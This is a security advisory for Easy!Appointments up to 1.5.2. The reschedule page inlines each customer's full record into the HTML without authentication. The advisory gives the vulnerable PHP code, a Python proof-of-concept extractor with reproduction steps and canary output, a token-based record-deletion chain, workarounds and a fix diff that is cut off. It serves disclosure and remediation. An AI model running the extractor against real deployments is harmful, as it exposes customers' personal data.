GHSA-xgr6-pqjv-3pf8 Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page

• Packagist alextselegidis/easyappointments: <= 1.5.2 (no fix yet)

Summary The booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the entire customer record as inline JavaScript (`const vars = {... "customer_data": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the `ea_users` table. Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`. Details Root cause `application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` — which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason. ```php // application/controllers/Booking.php (v1.5.2) $appointment_hash = html_vars('appointment_hash'); // line 184 if (!empty($appointment_hash)) { $manage_mode = true; $results = $this->appointments_model->get(['hash' => $appointment_hash]); // ... $appointment = $results[0]; $provider = $this->providers_model->find($appointment['id_users_provider']); $customer = $this->customers_model->find($appointment['id_users_customer']); // ← full row, no projection $customer_token = md5(uniqid(mt_rand(), true)); $this->cache->save('customer-token-' . $customer_token, $customer['id'], 600); } script_vars([ // ... 'customer_data' => $customer, // ← all PII inlined in HTML 'customer_token' => $customer_token, ]); ``` The URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth. Source-to-Sink • Source: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` — unauthenticated; hash read via `html_vars('appointment_hash')` (Booking.php:184). • Intermediate: `appointments_model->get(['hash' => $hash])` → row fetched; `customers_model->find($appointment['id_users_customer'])` returns the full customers row. • Sink: `script_vars(['customer_data' => $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., "customer_data": {...}, ...}` JavaScript in the response HTML. Fields disclosed Confirmed in PoC output (canary values used as markers): ``` customer_data: { "id": 4, "first_name": "Victim", "last_name": "Tester", "email": "[email protected]", "phone_number": "+1-555-0100", "address": "100 Privacy Lane", "city": "Sensitiveville", "zip_code": "00001", "timezone": "UTC", "language": "english", "custom_field_1": "CFLD1-CANARY", "is_private": "0", "ldap_dn": null, "id_roles": 3 } ``` Fields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`–`custom_field_5`, `ldap_dn`. Proof of Concept ```python !/usr/bin/env python3 poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC) import argparse, json, re, sys, requests PII_FIELDS = ["email","phone_number","mobile_number","address","city","state", "zip_code","notes","custom_field_1","custom_field_2","custom_field_3", "custom_field_4","custom_field_5","ldap_dn"] def exploit(target, hash_): url = f"{target}/index.php/booking/reschedule/{hash_}" r = requests.get(url, timeout=15); r.raise_for_status() m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL) ea = json.loads(m.group(1)) customer = ea.get("customer_data") or {} leaked = 0 for f in PII_FIELDS: if customer.get(f) not in (None, "", 0): print(f" {f:18s} = {customer[f]!r}"); leaked += 1 print(f"[+] disclosed {leaked} PII fields without auth") return leaked if __name__ == "__main__": p = argparse.ArgumentParser() p.add_argument("--target", default="http://localhost:8000") p.add_argument("--hash", required=True) a = p.parse_args() sys.exit(0 if exploit(a.target, a.hash) > 0 else 1) ``` Reproduction 1. Bring up the lab from the project's official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container). 2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash). 3. Run the unauthenticated extractor: ``` python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash ``` 4. Observed output (verified 5/5 consecutive runs): ``` email = '[email protected]' phone_number = '+1-555-0100' address = '100 Privacy Lane' city = 'Sensitiveville' zip_code = '00001' custom_field_1 = 'CFLD1-CANARY' [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth. ``` The PoC and its docker-compose reproduction environment are attached. Impact A single anonymous GET request returns the customer's full record. The `appointment_hash` is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page. For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID). A secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report. Workarounds Operators can mitigate temporarily by: 1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead. 2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it. Neither workaround removes the root cause; an attacker who already holds a hash can still extract. Suggested fix Whitelist customer fields before inlining. The reschedule UI only needs first/last name: ```diff --- a/application/controllers/Booking.php +++ b/application/controllers/Booking.php @@ -239,7 +239,12 @@ class Booking extends EA_Controller $appointment = $results[0]; $provider = $this->providers_model->find($appointment['id_users_provider']); • $customer = $this->customers_model->find($appointment['id_users_customer']); + $customer_record = $this->customers_model->find($appointment['id_users_customer']…